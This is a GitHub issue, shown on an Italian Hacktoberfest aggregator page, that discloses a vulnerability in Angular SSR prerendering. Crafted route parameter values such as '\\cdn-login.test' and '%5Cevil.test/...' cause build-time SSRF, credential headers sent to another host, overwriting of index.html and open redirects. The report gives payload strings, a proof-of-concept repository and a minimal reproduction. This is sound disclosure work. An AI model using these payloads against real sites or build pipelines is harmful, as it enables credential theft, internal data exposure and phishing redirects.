Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects

Aperta
#34,569 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

@SkyZeroZx ci sta già lavorando.

Dal 28/10/2026.

  • #34570 di @SkyZeroZx — aperta

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
35/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
angular, typescript

Direzione di ricerca

Start by reading handlePrerenderParamsReplacement in packages/angular/ssr/src/routes/ng-routes.ts, then trace how the resolved route is used by renderPage in packages/angular/build/src/utils/server-rendering/render-worker.ts and by redirect generation in prerender.ts. Reproduce the supplied backslash and percent-encoded cases with the linked proof of concept. Done means prerendering cannot redirect to an attacker-controlled host, make cross-origin render requests, leak credentials, or overwrite the output page for those inputs.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

area: @angular/ssr
Command

other

Is this a regression?
  • Yes, this behavior used to work in the previous version
The previous version in which this bug was not present was

No response

Description

This is the part of #34474 that escaping doesn't reach. 22.2.5 ships both fixes from that issue, and a getPrerenderParams() value that starts with \ still leaves the application's origin twice: while ng build renders the page, and in the redirect it ships.

handlePrerenderParamsReplacement only checks the type (ng-routes.ts#L553-L570):

if (typeof value !== 'string') {
  throw new Error(/* ... */);
}

return parameterName === '**' ? `/${value}` : value;

So \cdn-login.test becomes the route /\cdn-login.test. As a path it looks harmless, but for http: the URL parser reads \ as /, so the route is //cdn-login.test, another host. Two places use the route as a URL:

  • renderPage builds the render request with new Request(new URL(url, serverURL)) (render-worker.ts#L54), so the page renders with that host as its origin, and every relative HttpClient call made during the render goes there.
  • The resolved redirectTo goes into the generated redirect page (prerender.ts#L258), or into Location with outputMode: 'server'.

Those values are application data, the docs read them from a service:

const ids = await dataService.getIds();
return ids.map((id) => ({ id }));

So whoever can write one row, through a public signup or as a CMS author, picks where the build connects and where visitors land. The product in the repro validates both inputs (no whitespace, no raw \, no ..) and these still pass, because RouteTree.getPathSegments percent-decodes each segment afterwards (route-tree.ts#L212-L213). One value is enough:

Value Entered through Result
\cdn-login.test workspace slug, public signup /%5Ccdn-login.test redirects to cdn-login.test
%5C127.0.0.2/docs/getting-started CMS page path the build reads an internal-only service and publishes the response
%5C127.0.0.1:8787/%2E%2E CMS page path the platform credentials go to 127.0.0.1:8787, and the site's index.html is replaced
%5Cevil.test/docs/getting-started CMS page path the build sends a request to evil.test

ng build exits 0 with no warning for all of them.

1. Open redirect. Each workspace gets a vanity URL that lands on its home page:

{ path: ':workspace', children: [
  { path: '', pathMatch: 'full', redirectTo: 'home' },
  { path: 'home', component: WorkspacePage },
]},

With the slug \cdn-login.test the build writes this redirect page:

<meta http-equiv="refresh" content="0; url=/\cdn-login.test/home" />

In Chrome, http://status.statuslane.test/%5Ccdn-login.test ends on http://cdn-login.test/home. The link has no @, no second scheme and no //. escapeHtml leaves the target as it is, since there's nothing in it to escape.

2. Reading an internal service. Docs pages load their body in a resolver, over a relative URL:

inject(HttpClient).get(`/api/content/${path}`, { responseType: 'text' });

With the page path %5C127.0.0.2/docs/getting-started the page renders at http://127.0.0.2, so the build fetches http://127.0.0.2/api/content/docs/getting-started, a service only the CI network can reach. Its response, database URL included, is written into the published page and into ng-state. The attacker never needs an inbound connection, the response comes back through the site. The tail has to name a route that exists, otherwise the build fails with The content returned was empty.

3. Credentials to another host. The home page calls the internal API or/and an interceptor adds the platform token only to relative URLs, which is the usual guard:

if (!req.url.startsWith('/api/internal/')) {
  return next(req);
}
return next(
  req.clone({
    setHeaders: { authorization, 'x-api-key': apiKey, cookie, 'x-ci-deploy-token': ciToken },
  }),
);

With %5C127.0.0.1:8787/%2E%2E the URL is still relative when the interceptor runs and the origin is applied later, so all four headers arrive at 127.0.0.1:8787. %2E%2E consumes the host segment when posix.join computes the output path (prerender.ts#L462), so the page is written over the site's own index.html and dist has no odd file name. That write races the real home page: 1 of 3 builds at 0 ms, 3 of 3 when the listener answers after 1500 ms. The credentials go out every time.

4. allowedHosts isn't consulted. The app sets security.allowedHosts: ["localhost"], none of the hosts above is on it, and the build went to all of them. A DNS name works the same. With the page path %5Cevil.test/docs/getting-started the page renders at http://evil.test, and its request only fails because .test doesn't resolve:

evil.test/docs/getting-started/index.html
    origin   http://evil.test
    content  "unavailable (Http failure response for http://evil.test/api/c)"

A name the attacker owns would connect. The page gets that origin even though nothing answered, because the origin is set before any request is made. allowedHosts only decides which Host headers the running server answers. A filter on the raw value doesn't help either, since %5C is decoded later.

Minimal Reproduction

Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc

There the values arrive over HTTP from the application's own API, through a public signup and a CMS author token. Every host is on loopback.

npm ci
npm run attack
npm run browser
build              exit 0, prerendered 12, warnings 0
allowedHosts       ["localhost"] (angular.json)
  P1 signup "\cdn-login.test"                          accepted                     landed
  P2 cms    "%5C127.0.0.2/docs/getting-started"        accepted                     landed
  P3 cms    "%5C127.0.0.1:8787/%2E%2E"                 accepted                     landed
  P4 cms    "%5Cevil.test/docs/getting-started"        accepted                     landed
  [attacker] GET /api/internal/metrics  Host=127.0.0.1:8787  UA=node  (not in allowedHosts)
  [internal] GET /api/content/docs/getting-started  Host=127.0.0.2  UA=node  (not in allowedHosts)

Without the lab, one route and one value:

// app.routes.ts
export const routes: Routes = [
  {
    path: ':tenant',
    children: [
      { path: '', redirectTo: 'home', pathMatch: 'full' },
      { path: 'home', component: Page },
    ],
  },
  { path: '**', component: Page },
];

// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
  {
    path: ':tenant',
    renderMode: RenderMode.Prerender,
    getPrerenderParams: async () => [{ tenant: '\\evil.test' }],
  },
  { path: '**', renderMode: RenderMode.Client },
];
ng build
NG_ALLOWED_HOSTS=localhost PORT=4000 node dist/<app>/server/server.mjs &
curl -s -o /dev/null -D - http://localhost:4000/%5Cevil.test | grep -i location
location: /\evil.test/home

With --output-mode=static the same value writes a redirect page with the same target.

Exception or Error

Your Environment
Angular CLI 22.2.5
@angular/build 22.2.5
@angular/ssr 22.2.5
@angular/core 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
Chrome 156
Anything else relevant?

No response

Lingua principale
TypeScript
Stelle
27k
Fork
11.8k
Merge medio
1g 5h
PR unite (30g)
280

Preparare l'ambiente

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di angular/angular-cli

Tutte le issue di angular/angular-cli

Issue simili

Altre issue su TypeScript

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.